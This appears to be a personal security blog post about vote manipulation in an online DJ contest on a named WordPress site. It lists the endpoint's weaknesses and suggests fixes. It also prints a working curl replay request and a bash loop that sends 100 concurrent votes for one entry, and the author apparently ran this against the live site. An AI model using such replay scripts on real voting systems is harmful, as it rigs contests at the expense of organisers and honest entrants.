Introduction
HOR Berlin — one of the most well-known underground electronic music streaming platforms — was running their Maximum Heat DJ Contest, an online competition where DJs submit mixes and the public votes for their favourite. As a DJ who entered the contest and a cybersecurity enthusiast, I naturally wanted to understand how the voting system worked under the hood.
What I found was a textbook example of why you should never rely on a WordPress plugin for anything security-critical.
The Voting System
HOR's website runs on WordPress, and the voting mechanism was powered by a WordPress voting plugin hooked into the standard admin-ajax.php endpoint. When you clicked the vote button on a contest entry page, the browser fired a POST request to the WordPress AJAX handler.
Opening DevTools and watching the network tab when casting a vote revealed the exact request being made:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: hoer.live
Content-Type: application/x-www-form-urlencoded
action=vote&security=[NONCE]&post_id=218037&isVoted=0
Four parameters. That's it. The action tells WordPress which AJAX handler to call, the security nonce is supposed to prevent CSRF, post_id is the contest entry to vote for, and isVoted toggles the vote state.
The Vulnerability
The problems became obvious immediately:
- No rate limiting — the endpoint accepted unlimited requests with no cooldown
- Nonce was reusable — the WordPress nonce didn't expire or rotate after use, meaning the same security token could be replayed indefinitely
- No IP-based throttling — multiple votes from the same IP were all processed
- Session cookies were the only "auth" — and they remained valid for the entire session lifetime
- No CAPTCHA or bot protection — nothing to distinguish a human click from a scripted request
- Votes processed in bulk — sending multiple requests simultaneously resulted in every single one being counted
The Exploit
To prove the vulnerability, all I needed was a single curl command. By replaying the exact request from the browser with the same cookies and nonce, I could cast votes programmatically:
curl -X POST 'https://hoer.live/wp-admin/admin-ajax.php' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: wordpress_logged_in_[HASH]=[REDACTED]; PHPSESSID=[REDACTED]; wp_woocommerce_session_[HASH]=[REDACTED]' -d 'action=vote&security=[NONCE]&post_id=218037&isVoted=0'
The critical insight: this request could be fired repeatedly and every single vote was counted. No deduplication. No validation that this user had already voted. The nonce — which WordPress generates as a CSRF protection — was not being invalidated after use.
Wrapping this in a simple bash loop was all it took:
#!/bin/bash
# PoC: Demonstrates vote manipulation via request replay
for i in $(seq 1 100); do
curl -s -X POST 'https://hoer.live/wp-admin/admin-ajax.php' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: [REDACTED_SESSION_COOKIES]' -d 'action=vote&security=[NONCE]&post_id=218037&isVoted=0' &
done
wait
echo "Done — $i votes sent"
The & at the end of each curl sends them all concurrently. Every single request returned a success response. Every vote was counted.
Why This Happens
This is a common pattern with WordPress voting plugins. The plugin likely stores votes in a custom database table or post meta, keyed only by post_id. The check for "has this user already voted" is typically done client-side via the isVoted parameter or a cookie — both trivially bypassable.
WordPress nonces are designed to prevent CSRF (cross-site request forgery), not replay attacks. A WordPress nonce is valid for 12-24 hours by default and is not single-use. This is by design for WordPress's use case, but it means any AJAX action protected only by a nonce is vulnerable to replay within that window.
The Fix
For anyone building a voting system — especially on WordPress — here's what should have been in place:
- Server-side vote deduplication — track votes per user ID or IP in the database and reject duplicates
- Rate limiting — throttle requests per IP/session (e.g. 1 vote per entry per hour)
- Single-use tokens — generate a unique token per vote action that's invalidated after use
- CAPTCHA on vote — reCAPTCHA or similar to prevent automated submissions
- Fingerprinting — browser fingerprinting as an additional layer against multi-account abuse
Takeaway
The HOR Maximum Heat contest is a fun community event, and I have nothing but respect for what HOR Berlin does for the electronic music scene. But this was a reminder that WordPress plugins are not security tools. If you're running any kind of contest, poll, or vote that matters — don't trust a plugin to handle the integrity of it. Build proper server-side validation, or use a platform designed for secure voting.
The web is held together with duct tape and nonces. Sometimes you just need to look.
Stay curious. Stay ethical. Stay secure.